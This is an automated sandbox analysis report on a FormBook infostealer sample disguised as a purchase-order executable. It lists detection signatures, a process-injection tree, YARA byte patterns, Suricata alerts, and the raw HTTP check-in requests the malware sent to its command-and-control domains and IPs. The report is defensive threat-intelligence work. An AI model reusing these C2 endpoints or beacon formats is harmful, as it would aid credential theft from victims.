Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
PO#001498.exe

Overview

General Information

Sample name:PO#001498.exe
Analysis ID:1529907
MD5:dc878e2177f3d0fad6e29c729252304a
SHA1:cedfb728376873319d4bebe9047584c92952c41b
SHA256:9d9d76734263b40cacdc9d83eb196979f81568e5397e76e263d2c95f362e2b57
Tags:exeuser-TeamDreier
Infos:

Detection

FormBook
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected FormBook
AI detected suspicious sample
Contains functionality to detect sleep reduction / modifications
Found direct / indirect Syscall (likely to bypass EDR)
Initial sample is a PE file and has a suspicious name
Machine Learning detection for sample
Maps a DLL or memory area into another process
Modifies the context of a thread in another process (thread injection)
Performs DNS queries to domains with low reputation
Queues an APC in another process (thread injection)
Switches to a custom stack to bypass stack traces
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Writes to foreign memory regions
Checks if the current process is being debugged
Contains functionality for execution timing, often used to detect debuggers
Contains functionality for read data from the clipboard
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to block mouse and keyboard input (often used to hinder debugging)
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to communicate with device drivers
Contains functionality to dynamically determine API calls
Contains functionality to execute programs as a different user
Contains functionality to launch a process as a different user
Contains functionality to launch a program with higher privileges
Contains functionality to modify clipboard data
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate keystroke presses
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
OS version to string mapping found (often used in BOTs)
PE file contains an invalid checksum
Potential key logger detected (key state polling based)
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: Uncommon Svchost Parent Process
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)
Yara signature match

Classification

Process Tree

  • System is w10x64
  • PO#001498.exe (PID: 6368 cmdline: "C:\Users\user\Desktop\PO#001498.exe" MD5: DC878E2177F3D0FAD6E29C729252304A)
    • svchost.exe (PID: 6724 cmdline: "C:\Users\user\Desktop\PO#001498.exe" MD5: 1ED18311E3DA35942DB37D15FA40CC5B)
      • RVeTDjgqyLeJ.exe (PID: 6212 cmdline: "C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
        • forfiles.exe (PID: 3636 cmdline: "C:\Windows\SysWOW64\forfiles.exe" MD5: D95C443851F70F77427B3183B1619DD3)
          • RVeTDjgqyLeJ.exe (PID: 4040 cmdline: "C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
          • firefox.exe (PID: 672 cmdline: "C:\Program Files\Mozilla Firefox\Firefox.exe" MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
Formbook, FormboFormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.
  • SWEED
  • Cobalt
https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook

Malware Configuration

⊘No configs have been found

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000008.00000002.4600039400.0000000000510000.00000040.80000000.00040000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
    00000008.00000002.4600039400.0000000000510000.00000040.80000000.00040000.00000000.sdmpWindows_Trojan_Formbook_1112e116unknownunknown
    • 0x2c150:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55
    • 0x141df:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
    00000008.00000002.4605114558.0000000004440000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
      00000008.00000002.4605114558.0000000004440000.00000004.00000800.00020000.00000000.sdmpWindows_Trojan_Formbook_1112e116unknownunknown
      • 0x2c150:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55
      • 0x141df:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
      00000002.00000002.2590769596.0000000000400000.00000040.80000000.00040000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
        Click to see the 11 entries

        Unpacked PEs

        SourceRuleDescriptionAuthorStrings
        2.2.svchost.exe.400000.0.unpackJoeSecurity_FormBook_1Yara detected FormBookJoe Security
          2.2.svchost.exe.400000.0.unpackWindows_Trojan_Formbook_1112e116unknownunknown
          • 0x2e4d3:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55
          • 0x16562:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
          2.2.svchost.exe.400000.0.raw.unpackJoeSecurity_FormBook_1Yara detected FormBookJoe Security
            2.2.svchost.exe.400000.0.raw.unpackWindows_Trojan_Formbook_1112e116unknownunknown
            • 0x2f2d3:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55
            • 0x17362:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01

            Sigma Signatures

            System Summary

            barindex
            Sigma detected: Uncommon Svchost Parent Process
            Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Users\user\Desktop\PO#001498.exe", CommandLine: "C:\Users\user\Desktop\PO#001498.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\PO#001498.exe", ParentImage: C:\Users\user\Desktop\PO#001498.exe, ParentProcessId: 6368, ParentProcessName: PO#001498.exe, ProcessCommandLine: "C:\Users\user\Desktop\PO#001498.exe", ProcessId: 6724, ProcessName: svchost.exe
            Sigma detected: Windows Processes Suspicious Parent Directory
            Source: Process startedAuthor: vburov: Data: Command: "C:\Users\user\Desktop\PO#001498.exe", CommandLine: "C:\Users\user\Desktop\PO#001498.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\PO#001498.exe", ParentImage: C:\Users\user\Desktop\PO#001498.exe, ParentProcessId: 6368, ParentProcessName: PO#001498.exe, ProcessCommandLine: "C:\Users\user\Desktop\PO#001498.exe", ProcessId: 6724, ProcessName: svchost.exe

            Suricata Signatures

            TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
            2024-10-09T14:44:43.213930+020020507451Malware Command and Control Activity Detected192.168.2.665294199.59.243.22780TCP
            2024-10-09T14:45:06.688480+020020507451Malware Command and Control Activity Detected192.168.2.66539937.9.175.16380TCP
            2024-10-09T14:45:22.343403+020020507451Malware Command and Control Activity Detected192.168.2.66540467.223.117.16980TCP
            2024-10-09T14:45:36.629167+020020507451Malware Command and Control Activity Detected192.168.2.665408154.9.228.5680TCP
            2024-10-09T14:45:49.917063+020020507451Malware Command and Control Activity Detected192.168.2.665413203.161.41.20580TCP
            2024-10-09T14:46:03.219777+020020507451Malware Command and Control Activity Detected192.168.2.6654173.33.130.19080TCP
            2024-10-09T14:46:25.119973+020020507451Malware Command and Control Activity Detected192.168.2.6654215.39.10.9380TCP
            2024-10-09T14:46:41.273811+020020507451Malware Command and Control Activity Detected192.168.2.665425103.245.25.5480TCP
            2024-10-09T14:46:54.488785+020020507451Malware Command and Control Activity Detected192.168.2.6654293.131.150.6980TCP
            2024-10-09T14:47:08.288679+020020507451Malware Command and Control Activity Detected192.168.2.66543451.89.21.21480TCP
            2024-10-09T14:47:21.632539+020020507451Malware Command and Control Activity Detected192.168.2.66543813.248.169.4880TCP
            2024-10-09T14:47:35.554252+020020507451Malware Command and Control Activity Detected192.168.2.665442129.226.176.9080TCP

            Joe Sandbox Signatures

            Click to jump to signature section

            Show All Signature Results

            AV Detection

            barindex
            Multi AV Scanner detection for submitted file
            Source: PO#001498.exeReversingLabs: Detection: 31%
            Yara detected FormBook
            Source: Yara matchFile source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 00000008.00000002.4600039400.0000000000510000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000008.00000002.4605114558.0000000004440000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000002.00000002.2590769596.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000002.00000002.2591746417.0000000003950000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000007.00000002.4605334741.0000000002710000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000008.00000002.4603364715.0000000002A20000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000009.00000002.4608485857.0000000005730000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000002.00000002.2591268404.0000000003390000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            AI detected suspicious sample
            Source: Submited SampleIntegrated Neural Analysis Model: Matched 100.0% probability
            Machine Learning detection for sample
            Source: PO#001498.exeJoe Sandbox ML: detected
            Source: PO#001498.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
            Source: Binary string: forfiles.pdb source: svchost.exe, 00000002.00000003.2559671367.000000000301B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2559745873.0000000003024000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2559730097.000000000301A000.00000004.00000020.00020000.00000000.sdmp, RVeTDjgqyLeJ.exe, 00000007.00000002.4604563942.0000000000AA8000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: forfiles.pdbGCTL source: svchost.exe, 00000002.00000003.2559671367.000000000301B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2559745873.0000000003024000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2559730097.000000000301A000.00000004.00000020.00020000.00000000.sdmp, RVeTDjgqyLeJ.exe, 00000007.00000002.4604563942.0000000000AA8000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: RVeTDjgqyLeJ.exe, 00000007.00000002.4600041501.000000000043E000.00000002.00000001.01000000.00000005.sdmp, RVeTDjgqyLeJ.exe, 00000009.00000000.2662383342.000000000043E000.00000002.00000001.01000000.00000005.sdmp
            Source: Binary string: wntdll.pdbUGP source: PO#001498.exe, 00000000.00000003.2170436115.00000000047A0000.00000004.00001000.00020000.00000000.sdmp, PO#001498.exe, 00000000.00000003.2172303906.0000000004600000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2498523008.0000000003400000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2591331615.0000000003600000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2591331615.000000000379E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2496458745.0000000003200000.00000004.00000020.00020000.00000000.sdmp, forfiles.exe, 00000008.00000002.4605563404.00000000046B0000.00000040.00001000.00020000.00000000.sdmp, forfiles.exe, 00000008.00000003.2591133339.000000000434C000.00000004.00000020.00020000.00000000.sdmp, forfiles.exe, 00000008.00000003.2593625528.00000000044FE000.00000004.00000020.00020000.00000000.sdmp, forfiles.exe, 00000008.00000002.4605563404.000000000484E000.00000040.00001000.00020000.00000000.sdmp
            Source: Binary string: wntdll.pdb source: PO#001498.exe, 00000000.00000003.2170436115.00000000047A0000.00000004.00001000.00020000.00000000.sdmp, PO#001498.exe, 00000000.00000003.2172303906.0000000004600000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000002.00000003.2498523008.0000000003400000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2591331615.0000000003600000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2591331615.000000000379E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2496458745.0000000003200000.00000004.00000020.00020000.00000000.sdmp, forfiles.exe, forfiles.exe, 00000008.00000002.4605563404.00000000046B0000.00000040.00001000.00020000.00000000.sdmp, forfiles.exe, 00000008.00000003.2591133339.000000000434C000.00000004.00000020.00020000.00000000.sdmp, forfiles.exe, 00000008.00000003.2593625528.00000000044FE000.00000004.00000020.00020000.00000000.sdmp, forfiles.exe, 00000008.00000002.4605563404.000000000484E000.00000040.00001000.00020000.00000000.sdmp
            Source: Binary string: svchost.pdb source: forfiles.exe, 00000008.00000002.4607079380.0000000004CDC000.00000004.10000000.00040000.00000000.sdmp, forfiles.exe, 00000008.00000002.4603411208.0000000002AB5000.00000004.00000020.00020000.00000000.sdmp, RVeTDjgqyLeJ.exe, 00000009.00000002.4605999727.00000000032FC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000A.00000002.2938894647.000000001E98C000.00000004.80000000.00040000.00000000.sdmp
            Source: Binary string: svchost.pdbUGP source: forfiles.exe, 00000008.00000002.4607079380.0000000004CDC000.00000004.10000000.00040000.00000000.sdmp, forfiles.exe, 00000008.00000002.4603411208.0000000002AB5000.00000004.00000020.00020000.00000000.sdmp, RVeTDjgqyLeJ.exe, 00000009.00000002.4605999727.00000000032FC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000A.00000002.2938894647.000000001E98C000.00000004.80000000.00040000.00000000.sdmp
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_00452126 FindFirstFileW,Sleep,FindNextFileW,FindClose,0_2_00452126
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_0045C999 FindFirstFileW,FindNextFileW,FindClose,0_2_0045C999
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_00436ADE GetFileAttributesW,FindFirstFileW,FindClose,0_2_00436ADE
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_00434BEE FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,0_2_00434BEE
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_0045DD7C FindFirstFileW,FindClose,0_2_0045DD7C
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_0044BD29 _wcscat,_wcscat,__wsplitpath,FindFirstFileW,CopyFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindClose,MoveFileW,FindNextFileW,FindClose,0_2_0044BD29
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_00436D2D FindFirstFileW,CreateFileW,SetFileTime,CloseHandle,SetFileTime,CloseHandle,0_2_00436D2D
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_00442E1F SetCurrentDirectoryW,FindFirstFileW,SetCurrentDirectoryW,FindFirstFileW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,0_2_00442E1F
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_00475FE5 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,0_2_00475FE5
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_0044BF8D _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,FindClose,0_2_0044BF8D
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 8_2_0052C600 FindFirstFileW,FindNextFileW,FindClose,8_2_0052C600
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 4x nop then xor eax, eax8_2_00519BE0
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 4x nop then mov ebx, 00000004h8_2_045404DE

            Networking

            barindex
            Suricata IDS alerts for network traffic
            Source: Network trafficSuricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.6:65294 -> 199.59.243.227:80
            Source: Network trafficSuricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.6:65399 -> 37.9.175.163:80
            Source: Network trafficSuricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.6:65404 -> 67.223.117.169:80
            Source: Network trafficSuricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.6:65408 -> 154.9.228.56:80
            Source: Network trafficSuricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.6:65413 -> 203.161.41.205:80
            Source: Network trafficSuricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.6:65429 -> 3.131.150.69:80
            Source: Network trafficSuricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.6:65438 -> 13.248.169.48:80
            Source: Network trafficSuricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.6:65442 -> 129.226.176.90:80
            Source: Network trafficSuricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.6:65417 -> 3.33.130.190:80
            Source: Network trafficSuricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.6:65421 -> 5.39.10.93:80
            Source: Network trafficSuricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.6:65425 -> 103.245.25.54:80
            Source: Network trafficSuricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.6:65434 -> 51.89.21.214:80
            Performs DNS queries to domains with low reputation
            Source: DNS query: www.paysom.xyz
            Source: DNS query: www.xueerr.xyz
            Source: DNS query: www.h45d.xyz
            Source: DNS query: www.h45d.xyz
            Source: Joe Sandbox ViewIP Address: 13.248.169.48 13.248.169.48
            Source: Joe Sandbox ViewIP Address: 199.59.243.227 199.59.243.227
            Source: Joe Sandbox ViewASN Name: TENCENT-NET-AP-CNTencentBuildingKejizhongyiAvenueCN TENCENT-NET-AP-CNTencentBuildingKejizhongyiAvenueCN
            Source: Joe Sandbox ViewASN Name: AMAZON-02US AMAZON-02US
            Source: Joe Sandbox ViewASN Name: WEBSUPPORT-SRO-SK-ASSK WEBSUPPORT-SRO-SK-ASSK
            Source: Joe Sandbox ViewASN Name: BODIS-NJUS BODIS-NJUS
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_0044289D InternetQueryDataAvailable,InternetReadFile,0_2_0044289D
            Source: global trafficHTTP traffic detected: GET /l4rw/?LvYDDv8X=bxLhvRGrGkmA3a8MVLksA9O6epMWunBjiiDhmPdAbaxOp/M+Gpk9AJyEIFaWZbfbYSMKIIsbQIm0wGAdIoyiMtiPHQ27HfMbXFoZARRaLzz3WCrZtFKj2PO821vp/0Xp9I4bko8=&uDe8o=HnM0Zn40QtgXtNk0 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Host: www.notepad.mobiConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
            Source: global trafficHTTP traffic detected: GET /t3gh/?LvYDDv8X=zEDKAPo0fWIr7gepujFM3hONZ8pGlKAcECMHT5GhOUjPLGGHYOnRhJ5losn3B+cwv2wWXqsOX+tmwA3DpzxQYWx3a76J8a3vlVsU1Bk5RSrbmeXPlIslPPI/jBFf5PslPZrU8OU=&uDe8o=HnM0Zn40QtgXtNk0 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Host: www.elektromontaze.onlineConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
            Source: global trafficHTTP traffic detected: GET /zctj/?LvYDDv8X=7S4o5+ZCgT4OODwfFpG+s4wiCFAnOZCzfRxqRVdrbobbRD+6SGggBBocUcamamM0rj3t2K/sItShBC5e9jOvPMoEjVY8nsVi0nKhjSB1kxc4L0L73ToKl7iedcacts7drcblfuk=&uDe8o=HnM0Zn40QtgXtNk0 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Host: www.rtpsilva4d.clickConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
            Source: global trafficHTTP traffic detected: GET /kyiu/?uDe8o=HnM0Zn40QtgXtNk0&LvYDDv8X=WCaTEpVIV1F/IDd5xet0U/v8EBgR4+MrBcMWAOPreHJieMqZHDOJq6LkbwJNcnm0/KUex7YRpxZmHiJXClvi8I9PPuXybuoVwOs3fotoyVO7k8Vx44swwpMw6MtF3E0pNAK3MKk= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Host: www.mcse.topConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
            Source: global trafficHTTP traffic detected: GET /guro/?LvYDDv8X=7+kD9FiWdLQbO7Xh4mp3Tzq63KAmHikwKr+gs46wKWEdWXZTCgAq3DZWNFT071I6kRcf0adkrwgUpAlbIxvs7cAArWMlAwNpRrfOJzoWRq41jR5NYsvT6RMZs9kG2mNz8WT2+dw=&uDe8o=HnM0Zn40QtgXtNk0 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Host: www.paysom.xyzConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
            Source: global trafficHTTP traffic detected: GET /swj2/?uDe8o=HnM0Zn40QtgXtNk0&LvYDDv8X=P0crsamxtuU6gq442A5JVDLtFaQ272SuKPgrEa6KpDZhy5jCC+7AJhWiOHv/kCv6EaT0CLlKbyEmlyMFHr9gqy/Rx4gVxCgL9ZF7OWRsxm8H7EEN0SU8QZNgTStrqSBx97+TlGs= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Host: www.bearableguy.netConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
            Source: global trafficHTTP traffic detected: GET /mfnh/?uDe8o=HnM0Zn40QtgXtNk0&LvYDDv8X=uiQSy69x68ywNzcc2xGZGS3b7G9Di2AmSZy7E0+wXNrf1UQY7cg94CWp6P5m0cawB8S+TLOh4cYPJlBKxEA2O42nsMGuXDblYTmdoxIoDYKVlZUHtWDb+1EwLivJKG6FvTH7ZcE= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Host: www.spectre.centerConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
            Source: global trafficHTTP traffic detected: GET /rgqx/?LvYDDv8X=7BPEjiLtAyQ5QJcRm0l8rOqAdtGqsBA/0kteJX7yHKoujHBFhQ1EKsKRG39zbjZVMaI/dszVzFH59H6CuoGgAoTFKjBwnXS8eCKPQRFQVKMXZXqrpPBS9ep2D4hhlBIdKIulBMY=&uDe8o=HnM0Zn40QtgXtNk0 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Host: www.kmjai8jf.icuConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
            Source: global trafficHTTP traffic detected: GET /qpwk/?uDe8o=HnM0Zn40QtgXtNk0&LvYDDv8X=rzSKD+HLOF/4vupuOiWWjmsTrwmdgPDyrfi1Vf2q0emV4wuToItzNXXVi/mLmmeTOJf+M9JHQVADwuMuJNWKcsQ/aGKDYqyI6ZKHCywjhwnY1HcgFfNvdOxEp+OIaWeoLZGFIBo= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Host: www.chrisflynn.clickConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
